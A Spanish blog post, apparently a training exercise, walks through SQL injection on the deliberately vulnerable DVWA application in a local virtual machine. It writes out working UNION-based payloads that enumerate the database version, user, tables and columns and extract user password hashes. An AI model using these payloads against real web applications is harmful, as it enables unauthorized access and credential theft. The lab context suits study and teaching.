Es un defecto normal del programador no preocuparse de proteger las BBDD limitando el acceso con roles. Inicialmente (y salvo por la propia experiencia), no lo suele tener en cuenta en los análisis; y amigos míos proteger tu BBDD es más importante de lo que piensas.
Aprovechando este descuido, se pueden utilizar los formularios web para obtener más información (o información más interesante) de la que el propio programador había pensado.
¿Cómo? usando los campos de estos formularios para introducir código SQL que varíe la respuesta de la sentencia SQL original.
Y esta es la práctica de SQL Injection:
Tras instalar VirtualBox e importar la máquina virtual que nos han proporcionado, la IP que conecta es la 192.168.56.101, nos conectamos a esta IP y nos logamos.
admin/password
Bajamos el nivel de seguridad a low, para poder lanzar las consultas.
Ahora nos vamos a la opción SQL Injection comenzamos a probar:
1 ; Al meter este dato, vemos que el resultado de la consulta es este.
Deduzco que es una consulta simple de una tabla de usuarios y hemos seleccionado el primero. La select podría ser 'SELECT FIRST-NAME, SURNAME FROM USERS WHERE ID='1';
Visto esto vamos a ver si averiguamos todos los usuarios de la tabla: injectamos esto en la consulta %' or '0=0
Y voilá aquí están los 5 registros que probablemente tenga la tabla.
Otro dato interesante es la versión de la BBDD, para esto podemos injectar
" %' or 0=0 union select null, version() "
Versión es la 5.5.44
Si somos muy curiosos vamos a ver quién es el usuario: %' or 0=0 union select null, user()
El usuario dvwa@localhost
Para el nombre de la BBDD: %' or 0=0 union select null, database()
La BBDD dvwa
El esquema de la BBDD (descripción de tablas): %' and 1=0 union select null, table_name from information_schema.tables #
Podremos ver todas las tablas definidas en la BBDD dvwa incluidas las propias de control de la BBDD
Del esquema que salio antes podremos filtrar a ver qué tabla es la de usuarios..
%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#
users es la tabla que buscábamos
Vamos a ver su estructura: %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
la columna password chan chan¡¡¡¡ es la más interesante de todas... seguimos mirando un poco más dentro; Hacemos una select con las columnas de la tabla que nos interesa ver (entre ellas la password) %' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
Tenemos la clave del usuario administrador, con ella podemos entrar
Y con esto acabamos... es muy sencillo si no tienes cuidado de cómo administras la BBDD
Ya sólo me quedan 2 tareas... y ver cómo avanza el reto.
Que pena no tener más tiempo para dedicarle a esto (pero se hace lo que se puede)











No hay comentarios:
Publicar un comentario